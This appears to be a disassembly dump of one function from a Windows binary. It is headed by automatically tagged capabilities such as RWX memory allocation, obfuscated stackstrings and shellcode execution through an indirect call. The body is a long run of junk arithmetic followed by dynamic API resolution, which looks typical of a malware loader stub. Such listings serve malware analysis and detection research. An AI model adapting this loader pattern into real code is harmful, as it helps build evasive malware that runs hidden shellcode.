Function at 0x408e70
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get common file path
Get file attributes
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1ac8
call fcn.00407e30
push 0xf327b0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x280a7
jne 0x408edc
cmp dword [0xf4d184], 0xc8b
jne 0x408ebc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
lea eax, [esp + 0xacc]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
call fcn.00401ddd
push 0x40e1b5
push 0x7b8670
call fcn.00401636
add esp, 0xc
push 0
call fcn.004020d4
mov ecx, dword [esp + 0x2c0]
mov edx, dword [esp]
xor eax, eax
cmp eax, 0x14d270
jle 0x408eff
cmp ecx, 0x751a9b28
je 0x408eff
cmp edx, 0x12692ae3
jne 0x408f07
inc eax
cmp eax, 0x22143f01
jl 0x408ee8
mov ecx, dword [0x7b7954]
push ebx
push esi
push edi
add ecx, 0xb2d3b
push str.kernel32.dll
mov dword [0xf4d184], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0xf327a0], eax
mov dword [esp + 0xcc], 0x4a25f3a
mov dword [esp + 0xc4], 0x5f5530bd
mov dword [esp + 0x244], 0x47251fbf
mov dword [esp + 0x210], 0x1700b6bd
mov dword [esp + 0x134], 0x17b451ce
mov dword [esp + 0xbc], 0x5a69cc98
mov dword [esp + 0x1fc], 0x263fa579
mov dword [esp + 0x54], 0x38707a86
mov dword [esp + 0x188], 0x146bd94e
mov dword [esp + 0x1f4], 0x2719cef
mov dword [esp + 0x23c], 0x5bd47faa
mov dword [esp + 0x100], 0x14fc6dd8
mov dword [esp + 0x2a0], 0x3b5ab2db
mov dword [esp + 0x140], 0x3e1ff617
mov dword [esp + 0x2a8], 0x7a9aef9d
mov dword [esp + 0x30], 0x4e1a976a
mov dword [esp + 0x12c], 0x6f18af81
mov dword [esp + 0xd0], 0x51722c2
mov dword [esp + 0x78], 0x7b311788
mov dword [esp + 0x230], 0x218d970f
mov dword [esp + 0x2b8], 0x2c0c2f07
mov dword [esp + 0x258], 0x37b5bbc5
mov dword [esp + 0xb4], 0xb8cd3d9
mov dword [esp + 0x160], 0x2a1068e0
mov dword [esp + 0x1ec], 0x6f157c13
mov dword [esp + 0x234], 0x13bc955a
mov dword [esp + 0x1e4], 0x4d0ec02f
mov dword [esp + 0xc8], 0x6be85f8
mov dword [esp + 0x124], 0x649d9682
mov dword [esp + 0x11c], 0x7e9929a0
mov dword [esp + 0x58], 0x666676e6
mov dword [esp + 0x1dc], 0x1903df9f
mov dword [esp + 0x114], 0x77d6e5d8
mov dword [esp + 0x1d4], 0x18611385
mov dword [esp + 0x1d0], 0x4f04e104
mov dword [esp + 0x138], 0x65fddc59
mov dword [esp + 0x22c], 0x599dc2f9
mov dword [esp + 0x184], 0x3efd5507
mov dword [esp + 0x10c], 0x344eae28
mov dword [esp + 0xc], 0x10d18677
mov dword [esp + 0x104], 0x34fe7e0f
mov dword [esp + 0x2ac], 0x61abb4c4
mov dword [esp + 0x224], 0x40928745
mov dword [esp + 0xc0], 0x14db47f7
mov dword [esp + 0x2bc], 0xb3e0e97
mov dword [esp + 0x118], 0x366e66ee
mov dword [esp + 0xf8], 0x5dbc40d4
mov dword [esp + 0x4c], 0x573f26a2
mov dword [esp + 0x298], 0x5f01e0b8
mov dword [esp + 0xac], 0xf3e1631
mov dword [esp + 0xb8], 0x233bd6f2
mov dword [esp + 0x208], 0x8824d09
mov dword [esp + 0x28], 0x3eb0f71c
mov dword [esp + 0x44], 0x4bbca550
mov dword [esp + 0x17c], 0x5d223b70
mov dword [esp + 0x98], 0x25345aaa
mov dword [esp + 0x180], 0x2b5c626f
mov dword [esp + 0x1b8], 0x14535dd
mov dword [esp + 0x2a4], 0x6fbe85d3
mov dword [esp + 0x3c], 0x3d8f946d
mov dword [esp + 0xfc], 0x6383c31e
mov dword [esp + 0x90], 0x3fee6f70
mov dword [esp + 0x20], 0x21713cf6
mov dword [esp + 0xa4], 0x18830197
mov dword [esp + 0x130], 0x4865cf77
mov dword [esp + 0xf4], 0x39568152
mov dword [esp + 0x270], 0x5fbab620
mov dword [esp + 0x174], 0x51694b40
mov dword [esp + 0x1f8], 0x3e2ba7
mov dword [esp + 0x16c], 0x4696af7b
mov dword [esp + 0x128], 0x67083a9
mov dword [esp + 0x110], 0x4d584f72
mov dword [esp + 0x1a8], 0x662aa957
mov dword [esp + 0x198], 0x20236672
mov dword [esp + 0x200], 0x4e37edb8
mov dword [esp + 0x9c], 0x2dbea477
mov dword [esp + 0x158], 0x429f7140
mov dword [esp + 0x1cc], 0x71069013
mov dword [esp + 0x34], 0x2485f6e0
mov dword [esp + 0x164], 0x77478184
mov dword [esp + 0x1e8], 0x37b02ca8
mov dword [esp + 0x248], 0x69d54510
mov dword [esp + 0x94], 0x1ffa54a
mov dword [esp + 0x15c], 0x1b7561e0
mov dword [esp + 0x8c], 0x4e9281a2
mov dword [esp + 0x218], 0x46bc9f8
mov dword [esp + 0x70], 0x2b907e1e
mov dword [esp + 0x21c], 0x44075b5f
mov dword [esp + 0x154], 0x2715c707
mov dword [esp + 0x29c], 0x55c3f79
mov dword [esp + 0x50], 0x582e14a4
mov dword [esp + 0x2b0], 0x29d84bc7
mov dword [esp + 0x84], 0xdfc4c71
mov dword [esp + 0x2c], 0x37467419
mov dword [esp + 0x24], 0x784fa6d1
mov dword [esp + 0xec], 0x32b0d52d
mov dword [esp + 0x18], 0x56d15639
mov dword [esp + 0x1c4], 0x2801d85c
mov dword [esp + 0x7c], 0x89e5439
mov dword [esp + 0x1c], 0x3ecb0483
mov dword [esp + 0x74], 0x36150c75
mov dword [esp + 0x238], 0x4ca2ac6c
mov dword [esp + 0x1c8], 0x7d79eca4
mov dword [esp + 0xb0], 0x4cf1bf0d
mov dword [esp + 0x294], 0x6bd872a1
mov dword [esp + 0x48], 0x728ae62
mov dword [esp + 0xe4], 0x2c848559
mov dword [esp + 0x214], 0x27b029af
mov dword [esp + 0x14], 0x5fe9164
mov dword [esp + 0x28c], 0x64aa9d73
mov dword [esp + 0x14c], 0xd86d7b0
mov dword [esp + 0x240], 0x679f866e
mov dword [esp + 0x190], 0x29bc9666
mov dword [esp + 0x10], 0x75718412
mov dword [esp + 0x1bc], 0x666882c7
mov dword [esp + 0x250], 0x143092cb
mov dword [esp + 0xdc], 0x5ecd5c2b
mov dword [esp + 0x2b4], 0x36607033
mov dword [esp + 0xf0], 0x768a1920
mov dword [esp + 0x268], 0x404aacc6
mov dword [esp + 0x88], 0x54d7df25
mov dword [esp + 0x1b0], 0x6b21bd82
mov dword [esp + 0x284], 0x103a8569
mov dword [esp + 0x260], 0x5c10144f
mov dword [esp + 0x150], 0x5a09a830
mov dword [esp + 0x40], 0x45311baa
mov dword [esp + 0x120], 0x58a11275
mov dword [esp + 0xe8], 0x7b6011bf
mov dword [esp + 0x228], 0xe62888c
mov dword [esp + 0x1e0], 0x3f454e3
mov dword [esp + 0x170], 0x2f82f825
mov dword [esp + 0xe0], 0x3f962789
mov dword [esp + 0xa8], 0x26c14ebc
mov dword [esp + 0x27c], 0x4a3487e
mov dword [esp + 0x280], 0x27aea30e
mov dword [esp + 0x288], 0xd214bc1
mov dword [esp + 0x168], 0x58f7bb5d
mov dword [esp + 0x20c], 0x654b7666
mov dword [esp + 0x108], 0x2a4aa0ac
mov dword [esp + 0x1b4], 0x1e4448a5
mov dword [esp + 0x6c], 0x127e0fd7
mov dword [esp + 0x80], 0x7404425b
mov dword [esp + 0x1ac], 0x564064a2
mov dword [esp + 0x2c4], 0x675d32e6
mov dword [esp + 0x1a4], 0x1c1bca33
mov dword [esp + 0x68], 0x2b652bc5
mov dword [esp + 0x19c], 0x78fdcdc9
mov dword [esp + 0x194], 0x25014aac
mov dword [esp + 0x1c0], 0x4bbff6d5
mov dword [esp + 0x18c], 0x4e38a8d0
mov dword [esp + 0x274], 0x4d799f05
mov dword [esp + 0x278], 0x75b34f8
mov dword [esp + 0x1a0], 0x471a7a6b
mov dword [esp + 0x178], 0x1bb360ad
mov dword [esp + 0x38], 0x6a3e8e40
mov dword [esp + 0x144], 0x2efadffa
mov dword [esp + 0xa0], 0x725c37d0
mov dword [esp + 0x64], 0xcb972de
mov dword [esp + 0x204], 0x262d92e9
mov dword [esp + 0x26c], 0x5317ec6e
mov dword [esp + 0x5c], 0x4f38b5e2
mov dword [esp + 0x1f0], 0x3caf5f6d
mov dword [esp + 0xd4], 0x467a864f
mov dword [esp + 0x264], 0x15ac0076
mov dword [esp + 0x25c], 0x46ba386c
mov dword [esp + 0x148], 0x6205c7c6
mov dword [esp + 0x254], 0x63e880f6
mov dword [esp + 0x13c], 0x1a34d7c7
mov dword [esp + 0x2c8], 0x1119a210
mov dword [esp + 0x60], 0x3752a4a4
mov dword [esp + 0x220], 0x7d158ab0
mov dword [esp + 0x24c], 0x19d769f2
mov dword [esp + 0x290], 0x71e08a7f
mov dword [esp + 0xd8], 0x5bab4b3f
mov dword [esp + 0x2c0], 0x4d4fab03
mov dword [esp + 0x1d8], 0x1470ce6f
add dword [esp + 0xcc], 0x7e537124
mov eax, 0x39a64c52
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
add dword [esp + 0xcc], 0x10976774
mov eax, 0x3a0946ad
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
mov eax, 0x7d0ffd72
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
sub dword [esp + 0xcc], 0x4d43c425
sub dword [esp + 0xcc], 0x5a3c9e62
mov eax, 0x33642ad1
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
add dword [esp + 0xc4], 0x15f270de
sub dword [esp + 0xc4], 0x561bcc0b
mov eax, 0x5980d5aa
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0xc4], 0x423e6c0f
add dword [esp + 0xc4], 0xd0e0d72
add dword [esp + 0xc4], 0x2fcddaad
mov eax, 0x66ee91b6
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
sub dword [esp + 0xc4], 0x5d7d8a4a
mov eax, 0x7585f22f
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
mov eax, 0x28aff769
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0xc4], 0x5b07946f
add dword [esp + 0x210], 0xa045f57
add dword [esp + 0x244], 0x145b6b56
mov eax, 0x5b41f5b3
mul dword [esp + 0x244]
mov eax, dword [esp + 0x244]
sub dword [esp + 0xc4], 0x6f26efbb
mov eax, 0x42609e05
mul dword [esp + 0x210]
mov eax, dword [esp + 0x210]
mov eax, 0x349183a1
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0xbc], 0x3a7df76
mov eax, 0x3d52fcc4
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
sub dword [esp + 0xcc], 0x71f322ce
add dword [esp + 0x244], 0x503724de
add dword [esp + 0x210], 0x5429d6fd
sub dword [esp + 0x1fc], 0x3e6b46ba
mov eax, 0x12800acc
mul dword [esp + 0x210]
mov eax, dword [esp + 0x210]
add dword [esp + 0x134], 0x111ec6ed
sub dword [esp + 0x100], 0x32fd2e61
add dword [esp + 0x1fc], 0x58bbe413
add dword [esp + 0x54], 0x24cf2d83
sub dword [esp + 0x54], 0x16a847a
sub dword [esp + 0xc4], 0x5b67980
add dword [esp + 0xc4], 0x9abbf7d
add dword [esp + 0x188], 0x676692b4
add dword [esp + 0x134], 0x49e0854f
sub dword [esp + 0x30], 0x31e3745d
add dword [esp + 0x2a0], 0x60ef302e
sub dword [esp + 0x2a8], 0x6cb02334
sub dword [esp + 0x2a0], 0x78d555e8
mov eax, 0x300d9bd7
mul dword [esp + 0x2a8]
mov eax, dword [esp + 0x2a8]
add dword [esp + 0x23c], 0x3455736a
add dword [esp + 0x140], 0x55735058
add dword [esp + 0x30], 0x66d06650
mov eax, 0x52cac6da
mul dword [esp + 0x258]
mov eax, dword [esp + 0x258]
add dword [esp + 0x210], 0x1b416dca
sub dword [esp + 0x258], 0x7073ca
sub dword [esp + 0x78], 0x7418a312
mov eax, 0x28777ae1
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
mov eax, 0x44f3b04c
mul dword [esp + 0x100]
mov eax, dword [esp + 0x100]
mov eax, 0x79a73e4e
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
mov eax, 0x7b597a99
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
sub dword [esp + 0x12c], 0x140269d4
mov eax, 0x64faa0bf
mul dword [esp + 0x2b8]
mov eax, dword [esp + 0x2b8]
sub dword [esp + 0x30], 0x721f8580
sub dword [esp + 0xcc], 0x4874fac3
add dword [esp + 0x244], 0x15545ece
add dword [esp + 0xd0], 0x7b7fa9f
mov eax, 0x6a2004ae
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
sub dword [esp + 0x2a0], 0x94d016d
add dword [esp + 0x1fc], 0x18420760
sub dword [esp + 0x1e4], 0x210c2039
add dword [esp + 0x114], 0x1dc04c72
sub dword [esp + 0x234], 0x39b29b84
sub dword [esp + 0x1e4], 0x46bf88c9
sub dword [esp + 0x188], 0x3b5fc53c
sub dword [esp + 0x230], 0x3506125d
add dword [esp + 0x1fc], 0x6be82721
add dword [esp + 0x1ec], 0x5b2f24fd
mov eax, 0x11f9d769
mul dword [esp + 0x124]
mov eax, dword [esp + 0x124]
add dword [esp + 0x124], 0x348c1b13
mov eax, 0x31f0a0fb
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
sub dword [esp + 0x12c], 0x5e2b9616
sub dword [esp + 0x2b8], 0x6b362064
add dword [esp + 0x140], 0x1b23d468
add dword [esp + 0x30], 0x1bd29e4c
sub dword [esp + 0xb4], 0x9c35997
sub dword [esp + 0xc4], 0x6b9b5646
mov eax, 0x2fda8660
mul dword [esp + 0x2a8]
mov eax, dword [esp + 0x2a8]
sub dword [esp + 0x10c], 0x7b81acae
add dword [esp + 0xbc], 0x7b6e0ab7
sub dword [esp + 0x118], 0x7f8a8b04
sub dword [esp + 0x100], 0x405c83a1
mov eax, 0x52710d6d
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
add dword [esp + 0x2ac], 0xa2324f8
sub dword [esp + 0x12c], 0x6618e612
sub dword [esp + 0x188], 0x1959164c
add dword [esp + 0x2a8], 0x7572c4fa
mov eax, 0x3b537fce
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
sub dword [esp + 0x118], 0x38dd8f37
add dword [esp + 0xb4], 0x7d6d9e11
add dword [esp + 0x118], 0x7ab45d58
mov eax, 0xd15f45b
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
sub dword [esp + 0x114], 0x390c50f9
add dword [esp + 0x124], 0x4bdee8c1
mov eax, 0x3604a955
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
sub dword [esp + 0x30], 0x510354df
mov eax, 0x1efabfd6
mul dword [esp + 0x1e4]
mov eax, dword [esp + 0x1e4]
mov eax, 0x17266829
mul dword [esp + 0x224]
mov eax, dword [esp + 0x224]
mov eax, 0x53f58d01
mul dword [esp + 0x1e4]
mov eax, dword [esp + 0x1e4]
add dword [esp + 0x104], 0x46a5d414
mov eax, 0x2ee6a275
mul dword [esp + 0x1d0]
mov eax, dword [esp + 0x1d0]
add dword [esp + 0x258], 0x2135cf85
mov eax, 0x6e9c30aa
mul dword [esp + 0x1d4]
mov eax, dword [esp + 0x1d4]
add dword [esp + 0x44], 0x232f1513
mov eax, 0x7df5a6d
mul dword [esp + 0x224]
mov eax, dword [esp + 0x224]
add dword [esp + 0x124], 0x111d4d34
mov eax, 0x1b200cc1
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
sub dword [esp + 0xa4], 0x1be7045a
mov eax, 0xc7fceca
mul dword [esp + 0x2bc]
mov eax, dword [esp + 0x2bc]
add dword [esp + 0x1fc], 0x7b0053de
add dword [esp + 0x2b8], 0x7c528f7d
mov eax, 0x12f7e3dc
mul dword [esp + 0x2a8]
mov eax, dword [esp + 0x2a8]
mov eax, 0x525135fe
mul dword [esp + 0x1dc]
mov eax, dword [esp + 0x1dc]
mov eax, 0x28672d0e
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
sub dword [esp + 0x1ec], 0x64c7297a
sub dword [esp + 0x234], 0x39d1f9cc
sub dword [esp + 0x230], 0x64fe56da
add dword [esp + 0x1d4], 0x32fa3bbb
add dword [esp + 0xf8], 0x4161426e
add dword [esp + 0x54], 0x106aad8c
sub dword [esp + 0x78], 0x63a85bcc
sub dword [esp + 0x11c], 0x7b2645bf
mov eax, 0x329b1fcb
mul dword [esp + 0xc]
mov eax, dword [esp + 0xc]
sub dword [esp + 0x3c], 0x46ae483
add dword [esp + 0x134], 0x3696c59
add dword [esp + 0x1dc], 0x1b871c65
add dword [esp + 0xc8], 0xaed5302
sub dword [esp + 0x16c], 0x562ea25e
sub dword [esp + 0xc0], 0x34bcdb3a
mov eax, 0x4bbb67df
mul dword [esp + 0x198]
mov eax, dword [esp + 0x198]
sub dword [esp + 0x270], 0x6cef99f6
add dword [esp + 0x10c], 0x2509553b
mov eax, 0x5c776548
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x20], 0x764d3974
add dword [esp + 0x298], 0x3719b952
sub dword [esp + 0x23c], 0x5e76ffbf
sub dword [esp + 0x2a0], 0x6ed7f063
sub dword [esp + 0x20], 0x138bb0bb
sub dword [esp + 0xb4], 0x5694952d
mov eax, 0x2b22d904
mul dword [esp + 0x210]
mov eax, dword [esp + 0x210]
mov eax, 0x295a1127
mul dword [esp + 0x188]
mov eax, dword [esp + 0x188]
add dword [esp + 0x58], 0x30686e95
add dword [esp + 0x138], 0x9f5fe12
mov eax, 0x459f5305
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0x28], 0x49018ccc
mov eax, 0x4b886dea
mul dword [esp + 0x200]
mov eax, dword [esp + 0x200]
mov eax, 0x1d39b766
mul dword [esp + 0x134]
mov eax, dword [esp + 0x134]
sub dword [esp + 0x164], 0x4ed1c09f
mov eax, 0x27eb62bf
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x1e5ca84b
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x5edc1da3
mul dword [esp + 0x2a0]
mov eax, dword [esp + 0x2a0]
mov eax, 0x3f33f95a
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
mov eax, 0x4ab32064
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
add dword [esp + 0x100], 0x626bd394
sub dword [esp + 0x188], 0x217425a7
add dword [esp + 0x9c], 0x41c7de57
mov eax, 0xcb9181c
mul dword [esp + 0x174]
mov eax, dword [esp + 0x174]
sub dword [esp + 0x230], 0x4dd09e08
mov eax, 0x27b8abc1
mul dword [esp + 0x21c]
mov eax, dword [esp + 0x21c]
add dword [esp + 0x244], 0x76f75677
sub dword [esp + 0x10c], 0x65c184ef
mov eax, 0x3de64958
mul dword [esp + 0x270]
mov eax, dword [esp + 0x270]
add dword [esp + 0x4c], 0x378d5bc0
sub dword [esp + 0x298], 0x36f0c5f0
mov eax, 0x140d0f34
mul dword [esp + 0x184]
mov eax, dword [esp + 0x184]
add dword [esp + 0x30], 0x10d86d79
mov eax, 0x2ae39c2f
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
sub dword [esp + 0x140], 0x1828e983
sub dword [esp + 0x234], 0x43888aa3
mov eax, 0x178992a7
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
mov eax, 0x21d19f6b
mul dword [esp + 0x2b0]
mov eax, dword [esp + 0x2b0]
sub dword [esp + 0x184], 0x1e41fad9
mov eax, 0x7f0aca2c
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
sub dword [esp + 0x134], 0x1840615c
mov eax, 0x57dc3d34
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
mov eax, 0x5883c3eb
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x79b4c260
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
add dword [esp + 0x124], 0x8609aa2
mov eax, 0x3601adb4
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0x154], 0x326b48bf
add dword [esp + 0x3c], 0x47df6f4f
sub dword [esp + 0xfc], 0x4a679a1e
sub dword [esp + 0xc0], 0x7ffbc48b
add dword [esp + 0x198], 0x5904a1c7
mov eax, 0x48246fa1
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x6617981b
mul dword [esp + 0xc]
mov eax, dword [esp + 0xc]
add dword [esp + 0x28], 0x356ef73e
mov eax, 0x18382acf
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x35913a7a
mul dword [esp + 0x1e8]
mov eax, dword [esp + 0x1e8]
add dword [esp + 0x11c], 0x422b1b42
sub dword [esp + 0x9c], 0x77349a3e
sub dword [esp + 0x2a4], 0x7e56afe
mov eax, 0x386dfc7f
mul dword [esp + 0x130]
mov eax, dword [esp + 0x130]
add dword [esp + 0x158], 0xdf57c15
sub dword [esp + 0x198], 0x430f0834
mov eax, 0x7f4ed9e9
mul dword [esp + 0x110]
mov eax, dword [esp + 0x110]
add dword [esp + 0x1dc], 0x2080f733
mov eax, 0x3b36240f
mul dword [esp + 0x1e8]
mov eax, dword [esp + 0x1e8]
mov eax, 0x8660e89
mul dword [esp + 0x1c4]
mov eax, dword [esp + 0x1c4]
sub dword [esp + 0x234], 0x67a4601f
mov eax, 0x71408793
mul dword [esp + 0xfc]
mov eax, dword [esp + 0xfc]
add dword [esp + 0xf4], 0x60f52d2b
sub dword [esp + 0x110], 0x249af9d6
sub dword [esp + 0x2b0], 0x7f2e2559
mov eax, 0x6157949e
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0x100], 0x5cec268
mov eax, 0x2a95c967
mul dword [esp + 0x1c4]
mov eax, dword [esp + 0x1c4]
add dword [esp + 0x1d0], 0x7c1c99e6
sub dword [esp + 0x294], 0x33e1b447
mov eax, 0x547e54c7
mul dword [esp + 0x17c]
mov eax, dword [esp + 0x17c]
add dword [esp + 0x248], 0x7db2649a
add dword [esp + 0xb0], 0x7803eb8d
sub dword [esp + 0x54], 0x2a3be3cb
add dword [esp + 0x22c], 0x3c09e8ac
sub dword [esp + 0x54], 0x682681d8
sub dword [esp + 0x90], 0x6334c06e
mov eax, 0x2644de1c
mul dword [esp + 0x154]
mov eax, dword [esp + 0x154]
add dword [esp + 0x74], 0x64dd5162
add dword [esp + 0x48], 0x1bd665d7
add dword [esp + 0x88], 0x73605494
mov eax, 0x2f556d15
mul dword [esp + 0x140]
mov eax, dword [esp + 0x140]
mov eax, 0x252f453b
mul dword [esp + 0x128]
mov eax, dword [esp + 0x128]
add dword [esp + 0x1c], 0x9eebfbe
add dword [esp + 0x1e4], 0x359a215a
sub dword [esp + 0x14c], 0x17a636f1
sub dword [esp + 0xdc], 0x77bbc9d7
add dword [esp + 0x78], 0x1520058e
sub dword [esp + 0x9c], 0x69ccbb10
mov eax, 0x47325f52
mul dword [esp + 0x1c8]
mov eax, dword [esp + 0x1c8]
add dword [esp + 0xdc], 0x9ada0ce
mov eax, 0x5e00772a
mul dword [esp + 0x2b0]
mov eax, dword [esp + 0x2b0]
add dword [esp + 0x2b4], 0x51b81aed
sub dword [esp + 0x94], 0x70333d67
mov eax, 0x3c35baad
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x53ad823d
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
add dword [esp + 0xa4], 0x108ef0b7
mov eax, 0x4aa5f868
mul dword [esp + 0x214]
mov eax, dword [esp + 0x214]
sub dword [esp + 0x1a8], 0x4a617331
sub dword [esp + 0x138], 0x67221e86
add dword [esp + 0x298], 0x2aca0c50
add dword [esp + 0x29c], 0x28d54f17
mov eax, 0x51bc3273
mul dword [esp + 0x244]
mov eax, dword [esp + 0x244]
mov eax, 0x2fd6d1c5
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
mov eax, 0x3f1a201e
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
add dword [esp + 0x14c], 0x5bc4add1
add dword [esp + 0x238], 0x4333dfb9
add dword [esp + 0x1d4], 0x69688b0
mov eax, 0x165170c8
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0x44], 0x165490e0
add dword [esp + 0xe4], 0x17623e52
mov eax, 0x67050c6e
mul dword [esp + 0x1d4]
mov eax, dword [esp + 0x1d4]
sub dword [esp + 0x28c], 0x7e1a6717
sub dword [esp + 0x180], 0x4449a0c6
mov eax, 0x497e39c4
mul dword [esp + 0x28c]
mov eax, dword [esp + 0x28c]
mov eax, 0x53c9f707
mul dword [esp + 0x210]
mov eax, dword [esp + 0x210]
sub dword [esp + 0x70], 0x5feb6c2b
add dword [esp + 0x7c], 0x31b6d77d
mov eax, 0xe692ade
mul dword [esp + 0x198]
mov eax, dword [esp + 0x198]
add dword [esp + 0x1cc], 0x517cbfb6
mov eax, 0x6394b525
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
add dword [esp + 0x240], 0x70c4c06b
sub dword [esp + 0x138], 0x9aa3c05
sub dword [esp + 0x168], 0x1082a729
sub dword [esp + 0x20c], 0x2f1fd690
add dword [esp + 0x80], 0x4402c67b
add dword [esp + 0x2bc], 0xd7e11cb
sub dword [esp + 0x1c4], 0x518ac822
sub dword [esp + 0x2b0], 0x6b9b9a50
sub dword [esp + 0x200], 0x8c8fb78
mov eax, 0x4db803fb
mul dword [esp + 0x240]
mov eax, dword [esp + 0x240]
sub dword [esp + 0x78], 0x7ad0e882
sub dword [esp + 0x48], 0x272cff8b
mov eax, 0x2d59b5b8
mul dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
add dword [esp + 0x294], 0x3472c8bf
add dword [esp + 0x17c], 0x57eee4f8
sub dword [esp + 0x284], 0x597e751e
add dword [esp + 0x19c], 0x54b1f52
add dword [esp + 0x28], 0x2841e0e7
mov eax, 0x414f71d6
mul dword [esp + 0x21c]
mov eax, dword [esp + 0x21c]
mov eax, 0x3306ace0
mul dword [esp + 0x110]
mov eax, dword [esp + 0x110]
mov eax, 0x45d07ca0
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
mov eax, 0x40aa1332
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x4ae5d45e
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
mov eax, 0x28e47112
mul dword [esp + 0x194]
mov eax, dword [esp + 0x194]
sub dword [esp + 0xb0], 0x43f8e243
mov eax, 0x3cf57c55
mul dword [esp + 0x280]
mov eax, dword [esp + 0x280]
sub dword [esp + 0x2b0], 0x5db66b56
sub dword [esp + 0x138], 0x7e27602
add dword [esp + 0xf8], 0x50ebd81f
sub dword [esp + 0x90], 0x3f25254f
sub dword [esp + 0xe4], 0x59e03c09
sub dword [esp + 0x170], 0x2b54e43b
add dword [esp + 0x8c], 0x732a99d
mov eax, 0x41c2a548
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
add dword [esp + 0x1ac], 0x3d1aefe3
mov eax, 0x150310ce
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x120], 0x15342714
mov eax, 0x5323b507
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
sub dword [esp + 0x8c], 0x5881fd6e
mov eax, 0x5603df42
mul dword [esp + 0x124]
mov eax, dword [esp + 0x124]
sub dword [esp + 0x284], 0x2ad2352
add dword [esp + 0x280], 0x24f50f5a
add dword [esp + 0xe0], 0x9def6c6
mov eax, 0x13026f06
mul dword [esp + 0x120]
mov eax, dword [esp + 0x120]
sub dword [esp + 0x18], 0x7301844d
mov eax, 0x54ff8995
mul dword [esp + 0x248]
mov eax, dword [esp + 0x248]
add dword [esp + 0xf8], 0x6c0b36e1
add dword [esp + 0x24], 0x32aabc68
add dword [esp + 0x2b0], 0x70a3c60b
add dword [esp + 0x138], 0xd9f0663
add dword [esp + 0x1dc], 0x13ec8d03
mov eax, 0x61a205dc
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
add dword [esp + 0x188], 0x427bf68b
mov eax, 0x1dadfabe
mul dword [esp + 0xd4]
mov eax, dword [esp + 0xd4]
sub dword [esp + 0x1b0], 0x2bc62627
mov eax, 0x201f72ab
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
mov eax, 0x2f080ba7
mul dword [esp + 0x278]
mov eax, dword [esp + 0x278]
mov eax, 0x34f0ff1d
mul dword [esp + 0x240]
mov eax, dword [esp + 0x240]
mov edx, dword [0xf327a0]
push 0x40e1d8
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xf3279c], eax
mov eax, dword [0xf4d184]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x7b7948]
mov dword [0xf4d188], ecx
mov ecx, dword [0xf4d184]
xor esi, esi
mov dword [0xf318f4], eax
test ecx, ecx
je 0x40a7d1
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40a790
mov edx, dword [0xf4d188]
